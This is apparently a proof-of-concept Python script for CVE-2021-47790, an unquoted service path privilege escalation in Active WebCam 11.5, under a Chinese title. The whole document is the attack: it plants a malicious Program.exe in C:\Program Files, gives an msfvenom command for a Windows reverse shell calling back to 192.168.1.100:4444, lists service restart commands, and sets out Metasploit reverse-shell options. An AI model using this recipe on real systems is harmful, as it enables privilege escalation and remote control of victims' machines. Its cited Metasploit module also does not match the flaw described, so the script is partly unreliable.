CVE-2021-47790 Active WebCam 未引号服务路径本地提权漏洞

# CVE-2021-47790 PoC - Unquoted Service Path Exploitation # Target: Active WebCam 11.5 # This PoC demonstrates the unquoted service path vulnerability import os import subprocess import shutil # Step 1: Identify the vulnerable service path # For Active WebCam, the service path typically looks like: # C:\Program Files\Active WebCam\bin\Service.exe vulnerable_path = r"C:\Program Files\Active WebCam\bin\Service.exe" exploit_dir = r"C:\Program Files" malicious_exe = os.path.join(exploit_dir, "Program.exe") # Step 2: Create malicious executable # In real attack, this would be a reverse shell or meterpreter payload def create_malicious_exe(): """ Create a simple malicious executable that establishes a reverse shell. For demonstration purposes, this creates a basic executable. """ # Generate reverse shell payload using msfvenom # msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f exe > Program.exe # Example command to generate the payload: payload_cmd = "msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe" print(f"[*] Payload generation command: {payload_cmd}") print(f"[*] Malicious executable would be saved to: {malicious_exe}") # Alternative: Use PowerShell for quick exploitation # This creates a simple executable using PowerShell ps_payload = ''' $payload = "$env:windir\\System32\\cmd.exe /c calc.exe" $exePath = "C:\\Program Files\\Program.exe" [System.IO.File]::WriteAllBytes($exePath, [System.Convert]::FromBase64String("...")) ''' print(f"[*] PowerShell payload script available for deployment") # Step 3: Place malicious executable in the path def place_malicious_exe(): """ Place the malicious executable in the unquoted path location. Requires low-privilege access to write to C:\Program Files\ """ if os.path.exists(exploit_dir): # In real attack: copy malicious executable to exploit_dir print(f"[!] Placing malicious executable at: {malicious_exe}") # os.system(f"copy malicious.exe {malicious_exe}") return True return False # Step 4: Trigger service restart (requires admin privileges or service restart) def trigger_exploitation(): """ Trigger service restart to execute the malicious executable. Can be done via: - sc stop <service> && sc start <service> - system restart - Task Scheduler """ service_name = "ActiveWebCam" print(f"[*] Service restart command: sc stop {service_name} && sc start {service_name}") print(f"[*] Or wait for system reboot") # Metasploit Framework module usage: # use exploit/windows/local/service_permissions # set SESSION <session_id> # set PAYLOAD windows/meterpreter/reverse_tcp # set LHOST <attacker_ip> # set LPORT 4444 # run if __name__ == "__main__": print("=== CVE-2021-47790 Unquoted Service Path PoC ===") create_malicious_exe() place_malicious_exe() trigger_exploitation()